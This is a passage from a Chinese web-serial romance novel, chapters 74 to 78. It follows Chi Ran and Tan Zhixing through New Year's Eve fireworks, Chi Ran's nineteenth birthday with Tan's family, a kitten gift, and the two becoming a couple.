“哎呦小池。”潭枫担忧地看看他,“一会儿还要吃饺子呢,你还吃不吃得下了?” 池燃瞪大眼睛,“啊?” 不是说好这是年夜饭吗? “知行。”潭枫指挥潭知行,“你给小池找点消食片来。” “好。”潭知行起身。 他去药柜里找了板药,拿回来递给池燃,“别再吃了,留着点肚子,晚上吃饺子。” 池燃:“” 他小声嘀咕着问潭知行,“刚才怎么不把饺子摆上来?” 潭知行轻轻笑了声,“我们家的传统,饺子要零点之前现包现吃。” 池燃:“” 他默默嚼了几片消食片。 “时间还早。”潭枫看了眼钟表,刚十点半多,“我买了不少鞭炮和礼花,知行,要不你带着小池下楼放鞭炮?” 他说,“正好活动一下消食,包饺子的活儿我和你妈来就行。” 潭知行看了眼池燃,拒绝潭枫道,“算了,他害怕——” “好啊好啊!”池燃一下拽过潭知行的袖子,“我们走吧。” 潭知行:“……” 他早该知道池燃说害怕鞭炮声是假的。 “好。”他应道,“我们零点之前回来。” 等电梯的功夫,潭知行朝池燃瞥过去一眼,看他一副期待的表情,忍不住轻笑了声,“这会儿不怕鞭炮声了?” 池燃一下僵住。 嘶,好像有哪里不对。 他下午是不是跟潭知行胡编乱造来着?由于编得比较离谱,他自己都忘了。 半晌,他干咳一声,把围巾往上拽了拽,“那什么……我分情况害怕。” 潭知行笑着嗯了声。 小区里这会儿已经有不少人放过鞭炮了,地上一片一片的红,他们找了个空旷的地方,将潭枫买来的鞭炮一排排摆好。 潭知行蹲下身,从口袋里掏出打火机,对池燃道,“去那边等我,站远一点。” 池燃盯着他,没动。 “……我来行不行?”他说,“我想试一下。” 潭知行疑惑地抬眼,“嗯?” 池燃:“我没放过鞭炮。” 潭知行动作顿了下,将打火机递给他,“好,你来。” “点完火就跑吗?”池燃问。 潭知行点头,“嗯。” 池燃信心满满,逃跑他还是在行的。 他像个大人似的指挥潭知行,“行,你站那边台阶上等我。” “好。”潭知行一步几回头地走,说实话,他有点不放心。 池燃在他身后喊,“你走快点!” 潭知行在单元门前的台阶上站定,隔着十几米的距离看池燃小心翼翼地弯下腰,一手去点火,一边已经做好了起跑的准备。 他看着池燃把打火机凑到引线边撩了下,随即扭头就跑,一个弹射窜出去几米,但鞭炮一点动静都没有。 池燃:? 他转头,靠了一声。 跑太快,没点着。 他折回去,又小心翼翼地把火凑过去。这回看清了确认点着了,才扭头猛猛往潭知行的方向跑。 爆竹在他身后燃响,噼里啪啦,像在庆贺他一步一步跑向潭知行。 火光在池燃身后炸开,烟雾笼起,红色碎片飞得漫天都是。潭知行微微张开双臂,池燃便一步扑了过来。 “我厉害吧!”池燃试图和震天的鞭炮声比个高低。 他侧过身,双手堵住耳朵,盯着炸开的火光看。 潭知行侧目去看池燃,他的笑容洋溢,胜过一切好彩头。 放完鞭炮,池燃还觉得不过瘾,又搬出几箱烟花来,这回他学聪明了点,找了张纸当引燃物,点上烟花后,不紧不慢地和潭知行找了个花坛边的好位置欣赏。 他看过的烟花不少,可自己点燃还是第一次,那种感觉很不一样,就是觉得比别人放的要好看。 但是……比潭知行那天表白时给他放的差一点,就差那么一点。 潭知行看烟花的同时也偷偷看了眼时间,十一点半了。再有半个小时,就是池燃的生日。 微信上,潭枫已经在叫他们回去了。 但他实在舍不得打破这么好的氛围,便跟潭枫说他们晚些回去。 就这样和池燃度过生日的零点吧。 他也有私心。 “叔叔还买了什么?”池燃玩起来简直忘我,他问潭知行,“有没有那种能拿在手里放的?有仙女棒吗?” 潭知行不太懂什么叫仙女棒,他走去在刚刚拿下楼的那堆东西里翻了翻,确实翻出来几只小一点烟花。 “这种行吗?”他举给池燃看。 池燃琢磨了下。 这东西……好像比他在视频里见过的仙女棒大点。不过反正可以拿在手里玩,就都一样。 点燃的瞬间,暖光的烟火在顶端炸开。 池燃把手里的这根递给潭知行,“你拿着,我再点一根。” 潭知行没太想到自己三十岁还有像这样玩烟花的机会,他试着动了动手,烟花便跟着在空中飞舞。再一挥,像散落满天星。 突然,四下几乎同时响起巨大的鞭炮声,礼花一个接着一个窜上天空。 池燃没防备,被吓得一激灵,下意识朝潭知行看去。 “怎么——” “零点到了。”潭知行笑着跟他说,“池燃,生日快乐。”—— 作者有话说:小池:十九岁啦![加油] 作者:让我们祝小池生日快乐![加油] 潭老师:[加油] 第75章 池燃呆了呆, 任凭手里的烟花在空中跳跃。 原来,是零点到了啊。 大年初一,也是他的生日。 大家四下燃起的烟花炮竹都在庆贺新的一年, 好像只有潭知行手里的这支, 独独是为他燃放的。 他盯着火光里的潭知行,片刻后笑了下,上前一步, 稍踮起脚,吻了上去。 他的唇触碰到潭知行的唇, 微微冰凉。这么停留了几秒后,他正要稍撤开身子,却猛地被潭知行按住后颈, 还未分离的唇又贴了回去。 池燃:? 他下意识地睁开双眼,可天空闪过的一道道光晕又叫他什么都看不清。 触感却是贯彻全身的。 潭知行吮着他的唇,酥酥麻麻的感觉顺着大脑蔓延至脊背。这是他们之间第一次如此用力的接吻,很快,池燃脑袋一片空白, 跟着感觉闭上了眼, 握着烟花棒的手也垂了下来。 耳边是噼啪作响的烟花, 呼吸间尽是潭知行的温热。 潭知行的吻算得上温柔, 却又不完全温和,细细磨着他的唇, 一点又一点深入,不给他喘息的机会。和他或蜻蜓点水或毫无章法的吻很不一样。 “潭……” 池燃觉得自己要喘不过气了,他往后退半步,又被潭知行捞回来。 “嗯?”潭知行抵着他鼻尖停下,呼吸也不如常平稳。 他们手里的烟花早已燃尽, 天空也安静下来,四周难得落入昏暗。 池燃恨不得立刻就能找个地洞钻进去,他喘得厉害,心跳也如擂鼓,“潭知行,你耍流氓。” 潭知行声音听起来更困惑了,“我?” “我答应你了吗你就亲我?”池燃得理不饶人,一手揪起潭知行衣领,但很无力。 潭知行愣了愣,“我以为……” 以为池燃主动亲他就算答应了…… 半晌,他无奈地笑了声,“好,我错了。” “但是……” 他提醒池燃,“准确来说,是你亲的我。” 他只是让这个吻延长了些。 池燃:“……” 他紧张到吞咽。 “算你有理。”池燃一把推开他,落荒而逃,“我要回去吃饺子。” 吃完饺子,零点过半,潭枫和徐兰芝回房间休息了。潭知行洗过澡,回到房间时发现池燃还坐在桌前,拿着那个红包盯着看,翻来覆去地看。 “没打开数数多少钱吗?”潭知行擦着头发问,“等明天出门,你去存银行卡里留着花。” “不要。”池燃一口否决。 潭知行有点意外,疑惑了声,问,“为什么?” 池燃这才抬眼看他,笑了下,“我想留着,当纪念。” “这是我第一次过年收到压岁钱。”他说。 潭知行愣了片刻,擦头发的手垂下来。 “那你以前……” “嗯……”池燃抿了抿唇,“以前没什么机会。” 他没有什么会给他压岁钱的亲戚,池州诚的话……顶多在过年的那一个月多给他卡里转几十万。 像这样实打实的收到红包,确实是第一次。 “嗯。”潭知行应了声,转身出去,“等我一下。” 池燃不明白他想干什么,两分钟后,潭知行拿着个红包进来。 “给。”潭知行将红包递给他,“这是我的那份。” 池燃愣了下,随即掀起眼皮来瞪潭知行,“潭知行,你占我便宜是吧,压岁钱要长辈才能给的。” 潭知行一手撑到桌面上,另一手抬起揉了把他头发,“就一次。” 池燃犹豫了下,将红包从他手中摸过来,很薄的一片。 他又不满,“和叔叔阿姨比起来,你是不是太小气了?” 他拆开红包,打开往里看,才发现里面放着的不是钱。 “这什么?”他抬眼问潭知行。 潭知行笑而不语,弄得池燃更好奇了。 他把里面的东西抽出来,发现那是三张卡片,每一张上面都写着五个字:池燃许愿卡。 “这是……” “无论你有什么愿望,想怎么使唤我,都可以。”潭知行跟他解释。 池燃一阵沉默,这个礼物,确实比给他钱更好。 “什么都可以?”池燃问。 “嗯,只要我做得到。”潭知行说。 “……行吧。”池燃把卡片塞回红包里,嘴硬道,“这个压岁钱我收下了,不算你占我便宜。” 潭知行笑了声,“嗯。” “好了,早点睡。”他回身,打算从衣柜里拿被子,“我去沙发睡。” “哎——”池燃一个箭步起身,冲过去把柜门挡住,他盯着潭知行,“说好跟我一起睡的。” “别耍赖。”潭知行捏了把他脸颊,“你不怕鞭炮声。” 池燃龇牙咧嘴地甩开他的手,和只小豹子似的,“怎么,和我睡一张床能要你命?” “不是……” 潭知行多有无奈。 如果今晚池燃答应了和他谈恋爱,那他会很乐意接受池燃这个提议,但在此之前,他觉得他们还是保持些距离比较好。 “这张床小,我们两个挤一起睡会不舒服。”虽然是借口,但事实也是如此。 “不小。”池燃似乎是下定了决心,“你可以抱着我睡。” 潭知行:“……” 池燃很不服地盯着他,“别逼我用心愿卡。” 半晌,潭知行选择让步,“不至于。” “好,我跟你一起睡。” 池燃满意了。 他笑笑,“行,那睡觉吧。” 他欢脱地蹦上床,在靠里的位置躺下,吩咐潭知行,“你关灯。” 深夜宁静,偶尔还会响起一两声鞭炮声。窗帘没完全拉好,落了个缝隙让月光透进来。 等潭知行也躺下,池燃才发觉这张床睡他们两个是有点小,平躺的话,胳膊要刻意收着才不会挨到一起。 池燃根本没有想睡觉的意思,他瞪着眼睛看天花板,叫了潭知行一声,“潭知行。” “嗯?” “没事。” “……潭知行。”池燃侧过身来,一只手枕在头下。借着点月光,他能很好地看清潭知行侧脸的轮廓。 “嗯。” “我能亲你吗?”池燃问。 潭知行深深缓了口气,“如果你要同意和我谈恋爱的话,可以,如果你还没这个意思,那不可以。” 池燃哦了一声,评价他,“小气鬼。” “……” “就没有又不答应你又能亲你一口的方案吗?”池燃不依不饶地跟他商量。 “……没有。”潭知行闭上眼睛静心。 池燃:“哦。” “……如果我强吻你呢?” “池燃。”潭知行无奈地叫他。 “好了好了不逗你了。”池燃躺回来。 他把被子拉上来一直盖到下巴,这样很有安全感。 “池燃。” 他们安静了一会儿,潭知行突然出声。 “干嘛?” “我最近的表现,你还算满意吗?”潭知行不自觉地紧张。 “什么?”池燃没太听明白。 “关于追你。” 池燃:“哦。” “嗯……”池燃认真思考了下,“挺好的啊,我很满意。” 他反问潭知行,“怎么,你等不及啦?” “确实心急。”潭知行坦白道,“但我可以等,等多久都没关系。” “那就再过一段时间吧,看我心情。”池燃的声音隔着被子传出来,闷闷的,“我还觉得很亏。” 想想之前他被蒙在鼓里自己一个人伤心那么久,就得再吊潭知行一段时间。 “嗯。”潭知行应了声,“……对不起。” “以后不会了。”他承诺道,“有任何事情,我都会跟你说,不瞒着你。” 池燃又往被子里缩了缩,“好。” 这一个晚上,他睡得格外安稳。清早,他被鞭炮声吵醒,又不情愿地往墙边躲,用被子蒙住头。 “池燃。”潭知行站到床边拽了拽他裹紧的被子,“该起床了。” “不要……”池燃耍赖,“困,再睡一会儿。” “再过一会儿家里要来亲戚了。”潭知行叉着腰看他,很无奈,“我们该出不了门了。” 池燃像没听到似的,揪着被子堵耳朵,“那就不出去了,我要睡觉。” “……”潭知行纠结了下,问他,“你确定吗?” 池燃嗯嗯地应着。 “好吧,你愿意见他们的话就出来,不愿意的话一会儿给我发微信。”潭知行说,“我把早饭给你送过来。” 池燃:“嗯嗯知道了。” 潭知行说什么他简直一个字也听不进去,困得他要一命呜呼了。 十一点半,池燃在床上翻了个身,迷迷糊糊地醒过来。窗帘还拉着,屋子里昏昏暗暗的,他盯着天花板清醒了一会儿才意识到现在是白天。 他摸过手机来看了眼,发现都快中午了,怪不得肚子饿呢。 他撑着上半身坐起来,理理头发,又打了个哈欠。 早上潭知行跟他说什么来着?好像要带他出门? 那怎么不叫他?今天可是他生日,他得让潭知行好好请他一顿饭。 他跳下床,趿着拖鞋拉开卧室的门,揉着眼睛向客厅走去,“潭知行。” “我饿了——” 池燃后半句话硬生生被吞进喉咙里,因为他不确定自己是不是眼花了。 客厅里什么时候多了这么多人???还都是他不认识的人…… 等等等等。 池燃cpu一下□□爆了。 潭知行是不是说过今天家里会来亲戚来着?! 他倒吸一口凉气,在众多视线中找到救命的那根稻草——潭知行! 潭知行同样僵了两秒,随后起身,朝池燃走过去,“等一下给你热早饭,把睡衣换了再出来。”—— 作者有话说:小池:[彩虹屁]hello,有个地缝给我钻吗? 潭老师:不好意思[眼镜],小男朋友是这样的 第76章 池燃被潭知行推回卧室, 关上门,池燃一把把潭知行按在门上。 “潭知行!” 潭知行有点无奈,投降似的举起双手, 笑了下, “怎么了?” “你——我——” 池燃想骂人却骂不出来。 潭知行明明跟他说过的,是他自己忘了,也怪不得潭知行。 半晌, 他懊恼地松开潭知行,一转身, 又扑在了床上,自暴自弃道,“算了, 别管我了。” 潭知行笑着走上前,“换了衣服,出来吃饭吧。” 池燃不肯,脸埋在被子里,闷声道, “我不去, 我不出门了。” 太丢脸了, 他穿着睡衣, 脸都没洗,估计头发也很乱, 就那么水灵灵地出现在潭知行的亲戚们面前了? 想死。 “出来吧。”潭知行坐到床边,将被子往下压了压,给池燃呼吸的空间,“大家都很想见你。” “……”池燃犹豫了下,翻身坐起来, 问潭知行,“你怎么跟他们说我的?” “我没说什么,主要是我爸妈在跟他们聊。”潭知行说,“说是我男朋友,夸你长得好,性格也好。” 池燃不自觉脸红了。 他有潭叔和徐姨说的那么好吗? 再说,他们把他夸得那么好,结果他还是给他们丢脸了。 池燃又自我幽怨了一阵。 “想收红包吗?”潭知行问。 池燃眼睛一亮。 “想就洗漱好出来。”潭知行起身,“我去给你热早饭。” 池燃跑进卫生间用最快速度洗漱,对着镜子仔细扒拉刘海,试图调整到最好的状态,又回房间换衣服。这会儿他只有一件潭知行给他带的换洗衣服,还是为了过年买的红衣服,不太是他平时的风格,但想了想,只能硬着头皮穿上。 坐到餐桌前,池燃低头喝粥,感觉身上盯了一百个眼睛,看得他浑身不自在。 很快,他放下碗,“我吃完了。” “吃饱了?”潭知行挑眉。 池燃猛猛点头。 “那什么……”潭枫在客厅陪亲戚,把一切都看在眼里,他主动起身,“咱上阳台,看看我最近养的花。” 等客厅清净了些,池燃才松下一口气。 他把碗推给潭知行,小声说,“我还要一碗,再来几个小包子。” 潭知行笑着应了一声。 吃过饭,池燃就被围在了人堆里。 据潭知行说,这是潭枫的一个姐姐和两个妹妹,也就是潭知行的姑姑们,其中一个还带了姑父来。 潭知行让他跟着他叫姑姑就好。 “小池,来,拿着,这是二姑给你的红包。”卷发女人满脸堆笑,将红包塞到池燃手里。 紧接着,就是一个两个的红包。 “小池,这是小姑和姑父给的。” “还有大姑的,我给的肯定最多。” “本来还想让潭枫帮我们转交呢,这下直接给你,更好!” 池燃手里摞满了红包,厚得他一手拿不住。 这样过分的热情让他有点招架不住,不禁朝坐在对面的潭知行瞥了一眼。 “谢谢,谢谢姑姑们。”他乖巧点头,“祝你们新年好。” 拿了人家的红包,应该是要这样拜年的吧? “哎哟真乖。”二姑摸了下他的头,“听说今天还是你的生日?” 池燃缩着脖子点头。 “哥。”女人去叫在阳台浇花的潭枫,“咱晚上一起出去吃啊?过年,也给小池庆生。” 潭枫笑着应道,“我们本来是打算在家里过的,你们想一起也行。” 他琢磨了下,又说,“就是现在订饭店是不是晚了点?” “没事儿。”二姑性格豪气,一挥手道,“我有人。” 她转头问池燃,“小池,你觉得呢?” “还是你今天想跟知行单独过?” 池燃犹豫了下,不自觉去看潭知行。 “哎,你别听他的。”二姑拉过池燃的手,“就看你自己。” 半晌,池燃点了点头,笑道,“我们一起吧。” 他还从来没和家人一起过过生日。 现在,潭知行的家人……应该就算他的家人吧。 晚上,他们找了家饭店包间,小姑还叫来了自己的儿子,刚二十出头还在上大学,算能和池燃说上几句话。 潭知行订了蛋糕来,大家吵吵嚷嚷地插蜡烛,点火,关上灯给池燃唱生日歌,就在这么一个热闹的氛围下,池燃过了十九岁生日。 一个和从前很不一样的生日,普通,平凡,但很幸福。 吃过饭,也吃饱了蛋糕,大人们还在桌上喝酒,池燃和小姑的儿子跑到一旁沙发上打游戏。 看到池燃的游戏id名,赵禹随口问了句,“嗯?你也叫Fire啊?” 池燃突然觉得不对劲,便问,“还有谁叫Fire?” “哦,就是一个电竞选手。”赵禹说,“我女朋友喜欢来着。” 池燃:“……” 那他还是不要自爆马甲了。 开了局游戏,赵禹边打边问,“你真是我表哥对象啊?” “这有什么真的假的?”池燃反问他。 “挺稀奇的。”赵禹说,“我第一次见表哥带对象回家,我还以为他这辈子要不婚不育呢。” 池燃:“……” 赵禹:“哦哦,你们确实不育。” 池燃:“……” “在干什么?”潭知行从餐桌上下来,走到沙发边。 池燃瞟他一眼,往沙发里窝了窝,“打会儿游戏。” “快要结束了。”潭知行说,“打完这局吧。” “好。”池燃应道。 潭知行没喝酒,最后负责送几个人回去,饶了一个多小时,才驶上回家的路。 池燃靠在副驾驶上,伸了个大大的懒腰。 “累了吗?”潭知行问。 “还行。”池燃说。 “今天……觉得很不自在吗?”潭知行微微侧目朝池燃看过去。 池燃疑惑了声,“嗯?没啊。” “真的?”潭知行有点意外,“我还以为你……” 会不喜欢和亲戚一起。 池燃唔了声,缓缓道,“以前……我是以为我会不喜欢。” “但是,今天我发现,我还挺喜欢的。”他扭头看向潭知行,“你的家人都很好。” 潭知行轻轻笑了声,“那就好。” “明天没什么事,我们可以单独再过一次生日。”潭知行主动提议道。 今天一整天,他们两个说话的机会都很少,池燃几乎被他的姑姑们包围了。 “不用了。”池燃说。 “怎么?” 池燃笑笑,“今天的生日我很喜欢。” 热闹,充满祝福,和爱他的人,没有比这更好的生日了。 突然,池燃嘶了一声,想起什么似的,扭头去看潭知行,“等等,潭知行,我的生日礼物呢?” 他眯起眼睛盯住潭知行,“你以为一顿饭就能把我打发了?” 潭知行笑而不答,“回家吧。” 不出意外的话,礼物已经在家里等池燃了。 到了家门口,等门一开,池燃便迫不及待地跑进去。但家里并没有他想象中的条幅礼花气球等等,甚至和平常没有两样。 池燃一下不满,回过身来指向潭知行,“喂,潭知行你诓我。” 他话应刚落,听到身后传来“喵”的一声。 池燃:? 他猛地回身,看见一只白毛缅因从沙发上蹦下来,迈着优雅的步子朝他走过来。 “好不容易才买到一只和你喜欢的那个差不多的。”潭知行解释道,“花了点时间,还好赶在生日前领回来了,想着要给你惊喜,就放在韩闻烁那儿养了几天。” 池燃兴奋得一个箭步冲过去将小猫抱进怀里,“猫!” 他直接坐在地上,将猫头揉来揉去,开心地朝潭知行笑,“它就是我的生日礼物?” “嗯。”潭知行笑着问,“喜欢吗?” “喜欢。”池燃高兴坏了,“特别喜欢。” 他仔细瞅了瞅怀里的小缅因,果然和他之前在视频里看的那只很像。 眼睛,是淡绿色的,和他一样。 潭知行走过去,同他面对面坐下,也揉了一把小猫头,“给它取个名字吧。” “我吗?”池燃问。 “嗯。”潭知行点头,“现在它是你的了。” “我想想……”池燃把小猫捧起来,盯着看了看,又瞥了眼潭知行,问,“我可以叫它小潭吗?” 潭知行眯了眯眼睛,“不可以。” 池燃切了一声,“好吧好吧我再想想。” “那就叫……小陆。”池燃说,“它眼睛是绿色的。” 潭知行不明白,“所以?” 池燃:“谐音梗。” 潭知行笑了下,“好,都听你的,就叫小陆吧。” “小陆,你多大啦?”池燃给它顺毛。 “两个多月。”潭知行说。 “还是只小小猫。”池燃笑笑,越看越觉得小陆可爱,“以后你就是我们家的新成员了。” “潭知行,我们是不是得给它准备个窝啊?”池燃问,“还有猫粮那些的,得好好研究一下吧?” 他们谁都没养过猫。 “嗯……”潭知行琢磨了下,“我明天问问韩闻烁,他会养猫,让他给点建议。” “好。”池燃应着,抱着小猫凑近潭知行的脸,“亲一下。” 潭知行愣了两秒,凑过去在小猫脸上亲了口。 池燃心满意足,将小猫抱回来也亲了一口。 “你知道这叫什么吗?”池燃问潭知行。 “什么?”潭知行不解。 池燃举着小猫爪子跟他挥挥,笑道,“叫间接接吻。”—— 作者有话说:小池:不让我亲,我自有办法[垂耳兔头] 潭老师:[眼镜]有人比猫可爱 第77章 时间过得很快, 一眨眼到了三月份,池燃进入了更紧张的备考阶段。潭知行那边也开学了,新的一学期开始, 一切变得更加忙碌。 “好了, 今天的课就上到这里。” 下课铃响,潭知行合上书本,走出教室, 没两步就遇上了郑秋。 他刚想转身换路,却一下被叫住。 “哎小潭!”郑秋走过来按住他的肩, 笑眯眯道,“正想找你呢,发你消息没回, 原来是在上课啊。” “啊……”潭知行客套着答应,“是,刚下课。” “我问你那个事儿,你看到没有?”郑秋问。 潭知行笑着装傻,“主任, 什么事?我还没看手机。” “哎呀, 就是今年的思想道德培训, 又要往上报人了。”郑秋说, “去年你不是主动要求想去嘛,要不今年也算你一个?” “我……”潭知行为难起来, 果然不应该主动往自己身上揽活,否则每年这种差事都要落在他身上。 “我今年不太方便。”潭知行说。 “啊?怎么了?”郑秋问。 “嗯……”潭知行犹豫了下,决定拿池燃出来当挡箭牌,“过几天是我男朋友生日,如果我赶不回来的话, 他可能会跟我闹脾气。” “啊对对对。”提到这个,郑秋恍然大悟似的,“前段时间从你爸妈那儿听说你有对象了,真不容易啊,终于不用给你介绍相亲了。” 郑秋又埋怨道,“小潭,你也真是的,之前给你介绍那么多女孩,你要是早说你喜欢男生,我不就换批人给你介绍了?跟我还不好意思。” 潭知行不好说什么,只能附和着笑。 至少在池燃之前,他没发觉自己会喜欢男生。 “所以这次我真去不了,抱歉。” “行吧。”郑秋琢磨了下,决定放过他,“既然这样不耽误你了,我再去问问其他老师。” 潭知行微笑,“谢谢主任,那我先走了。” “诶。”郑秋又叫住他,“对了,你递上去的那篇论文怎么样了?” “到终审了。”潭知行说,“可能还需要补一些材料,应该快了。” 郑秋点头,“行,有消息随时说,大家都等着呢。” 和郑秋分开,潭知行才松了口气,至少今年,在池燃备考的关键时候,他不用出差了。 能躲一次算一次吧。 赶上午休时间,他拿出手机给池燃发消息:「晚上想吃什么?」 池燃秒回,但根本没理他,反而给他拍了张照片过来:「这题怎么做?」 「还有这个。」 潭知行轻笑了声,不禁加快步子往办公室走,边给池燃回:「稍等。」 他最近都要成池燃和白骁的专属家教了,因为他们不好意思总去占用季明野的复习时间,就来剥削他- “哎,我说你和潭哥在一起没有呢?”吃完午饭回来,白骁和池燃凑在一起算题,他突然问这么一下,池燃笔尖瞬间顿住。 “干嘛突然问这个?”池燃继续画他的辅助线。 “问问嘛,这都过去一个月了吧。”白骁点点他卷子,“哎你那辅助线画得不对,像我这么画。” “不是我说你,你是不是有点太能作了?” “我作?”池燃皱眉,随即扒拉开他的手,“你别管,我这样也能做出来。” “过去一个月怎么了?很久吗?” 白骁点头,“啊,你不怕把潭哥作跑了啊?” 池燃冷笑一声,“那让他跑试试看。” 白骁:“……” 惹不起一点。 池燃转了转笔,心思从题目上抽开片刻。 其实,他根本没想过一个确切的日期,这件事……全看他心情吧。 晚上,池燃下了播,又到了潭知行给他开小灶讲题答疑的时间。 不知道怎么回事,今晚他格外的困,脑子昏昏沉沉不说,后颈腺体处还有一点疼。 潭知行给他冲了杯咖啡来提神,“今天早点休息,把数学和生物讲完就睡。” “哦。”池燃没精打采地应了声,灌下一大口咖啡。他感觉自己现在都要对咖啡免疫了,喝多少都能睡着。 “数学卷子给我。”潭知行说。 池燃从一堆卷子里翻出几张给他,“喏,要讲最后那道函数题,今天老师讲了两遍我没听懂。” “嗯。”潭知行应了声,“我看看。” 趁潭知行看题的功夫,池燃拄着脑袋打了个哈欠,不一会儿,眼睛不自觉地就闭上了。 “这道题这样——”潭知行把卷子往池燃那侧推了下,伸手拿草稿纸,再一抬头,却发现池燃好像已经睡着了。 “池燃。”潭知行拿笔戳了他一下。 “嗯?!”池燃一个激灵醒过来,“怎么了?” 他反应两秒,哦了一声,“讲,讲吧,我醒了。” “嗯。” 潭知行讲着讲着,再朝池燃一看,眼皮竟然又挣扎着打架了。 他不禁笑了声,放下笔。 “池燃?” “嗯?!”池燃又猛地睁眼,随后懊恼地揉了揉脑袋,“哎怎么回事,我这两天好困。” “没睡好吗?”潭知行问。 池燃摇摇头,“不是,我睡挺好的,就是觉得没精神,可能是学累了吧,有点看不进去题。” 半晌,他猛地起身,“我下楼跑两圈去。” 潭知行诧异,“现在?” 都十一点半了。 “活动一下。”池燃又打了个哈欠,“天天坐着感觉四肢要僵住了。” 潭知行犹豫了下,“行,我跟你一起。” 临近半夜十二点,小区楼下几乎没人。池燃顶着微凉的风绕着小路呼呼地跑,潭知行跟在他身边。 果然,被风一吹,他觉得头脑清醒多了,身体也没那么乏了。 “潭知行,我以后早上跟你来晨跑吧。”池燃说,“我发现跑步挺舒服的。” 潭知行笑了声,“这段时间还是算了吧,有这个时间你多睡觉,等你考完可以。” 池燃想了下,“行。” 但是估计等他考完就又懒了。 “那我晚上想出来跑步你陪我吗?”池燃问。 “我这不是正在陪你。” 池燃:“我说以后。” 潭知行笑,“当然,随时。” 池燃心满意足,指向前面的路灯,“我们比赛,看谁先跑到那个路灯。” 说完,他拔腿就跑,在风里留下后半句,“输的人给小陆当一周的铲屎官!” 根本没给潭知行赢的机会。 池燃轻松跑过终点,回身看到潭知行正慢悠悠地走过来,有点不满。他单手叉起腰,“喂潭知行,你不尊重比赛。” “我吗?”潭知行摊开双手,“好像有人不公平在先吧。” 池燃哼了声,“反正我赢了,接下来一周小陆就交给你了。” 潭知行认命,“好,没问题。” “要回去吗?”他问池燃。 池燃犹豫了下,“过一会儿吧。” 这么静谧的晚上,还挺舒服的。 潭知行朝小区外瞥了眼,“那我去买瓶水,一起?” 池燃点头,“好啊。” 小区门口有一家二十四小时营业的便利店,潭知行拿了两瓶水去结账,就看见池燃对着关东煮一个劲儿地咽口水。 “想吃就吃。”潭知行说了声。 池燃立刻对店员说,“一串鱼丸两串蟹棒两串鱼饼,两个魔芋结,两个海带,谢谢。” “……再要两个萝卜。” 潭知行:“……” 他站到池燃旁边提醒他,“这么晚了,吃这么多东西,小心积食。” 池燃理直气壮,“你让我吃的。” 出了便利店,他们顺着马路往前走,池燃边走边吃,心情好得很,还递过去一串到潭知行嘴边,“给,尝尝?” 潭知行摆手,“不用,我不吃。” 池燃:“不吃更好,我自己吃。” 潭知行忍不住笑了声。 他们漫无目的地走着,池燃深深呼吸着夜里凉爽的空气,突然觉得一切都不太现实。 最近日子过得太好太顺心了,几乎让他忘了一年以前他有多么……孤独。 “潭知行。”池燃突然说,“你掐我一下。” “嗯?”潭知行侧头看向他,“什么?” “掐我一下。”池燃重复。 潭知行慢半拍,伸手捏了把他脸颊,“这样?” 池燃不满,啧了一声,“算了,一点都不疼。” “在想什么?”潭知行不明所以。 “……”池燃沉默了下,“潭知行,你说,有一天我会不会突然消失啊?” “嗯?” “我是说,从你的世界里消失。”池燃边吃边说,“我穿越已经够离谱的了,会不会有一天我又突然穿回去呢?万一穿越的那个门,哪天不见了,我也会跟着消失吗?” 潭知行微怔,半晌,揉了揉池燃的头发,“别乱想那些,不会的。” 池燃轻叹了口气。 那他的不安感又是从哪里来的呢?人过得太幸福的时候就会这样吗?恨不得一切就停在这里。 “就算你不见了,我也会找到你。”潭知行说。 池燃侧目向他看去,“你保证?” 潭知行郑重地嗯了一声,“我保证。” 池燃盯着潭知行看了两秒,心里忽然闪过个念头:他不想再浪费时间了。 万一有一天他真的离开了呢?万一有一天潭知行真的不记得他了呢? 时间好宝贵。 池燃眼睛一热,凑上去,在潭知行嘴唇上轻轻贴了下,“潭知行,我们谈恋爱吧。” 至少现在,潭知行唇上的温热是真的。 和梦里一点也不一样—— 作者有话说:庆祝小情侣正式谈恋爱!!![加油] 今天双更![加油]老婆们不要看差一章哦~ 第78章 潭知行怔了怔, 几秒后才反应过来,“你说真的?” “真的。”池燃带着笑意,“骗你干嘛?” 潭知行随即上前一步将池燃抱进怀里, “谢谢。” “我很高兴。” 过往三十年人生中, 幸福在他眼前第一次具像化。 “那,我这回真要说我们的恋爱准则了?”池燃语调上扬。 上次他想说的时候,被潭知行无情拒绝了。 “嗯。”潭知行能感受到自己心脏强有力的跳动。 “首先, 我们都是第一次谈恋爱,很可能经验不足, 所以无论什么事我们都要互相谅解,任何事都不可以瞒着对方。”说到这儿,池燃在潭知行腰侧掐了一把, “尤其是你。” 潭知行笑着答应,“我一定遵守。” “还有吗?”他问池燃。 “还有”池燃想了想说,“因为我年纪比你小,所有在互相谅解的基础上你要让着我多一点。” 潭知行闷闷地笑。 池燃的不讲道理还是一如既往。 “我说真的。”池燃似乎有些不好意思,语气着急了点, “我知道我现在还不够成熟, 有时候做事可能会惹你生气, 但是你跟我好好讲道理, 我会听的。” 他抬手回抱住潭知行,将他衣服一角揪在手里, “我会努力长大。” “嗯”潭知行心里软了一片。 “最后。”池燃顿了顿,认真道,“你要健康地长命百岁,一直一直陪着我。” “我也会陪着你。”他向潭知行承诺。 无论潭知行未来变成什么样子,他都不会放弃潭知行。 “好。”潭知行沉声, “我答应你。” 他们这么安静地抱了一会儿,和临街的树木一起分享这个夜晚。 池燃忽然从潭知行的怀抱中抬起头来,“潭知行,我现在可以亲你了吗?” 潭知行失笑,“当然,只要你想,随时——” 他的话被池燃的吻堵住。 池燃揪着他衣领,重重吻上去,那力道让潭知行控制不住后退了半步,抵在了树干上。 潭知行揽住池燃的腰回吻,树荫和沙沙的风响为他们做掩护,将他们隐在夜色里,好加深这个绵长的吻- 确认恋爱关系后的生活和往常比似乎没什么变化,非要说一个重大变化的话,那就是池燃很爱伺机亲亲,似乎是应了潭知行说的只要池燃想亲就随时的那句话。 潭知行在工作的时候池燃跑到书房亲一口,潭知行在切菜的时候他凑过来亲一口,辅导他功课的时候有事没事亲一口,睡觉前亲一口,出门前再亲一口。 统一特点是,蜻蜓点水的一下,亲完就跑。 潭知行对此很无奈,但没有说不喜欢,只是池燃经常偷袭,尤其在他工作的时候,往往会打断他的思路,再重启大脑还需要一会儿时间,可池燃对此不负责,一溜烟就跑了。 “别跑。”潭知行握住池燃手腕,再一揽腰,将池燃拽着侧坐在自己身上,决定给他一点教训。 池燃还没反应过来,潭知行的吻就贴了过来。 他乱动着抗争,“你别,我还要——” 他在喘息间吐出几个字来,提醒潭知行,“直直播,要,迟到” 可潭知行似乎没有要放过他的意思,唇齿间磨着他的唇,不轻不重地咬了下,似乎是惩罚他在接吻时分心。 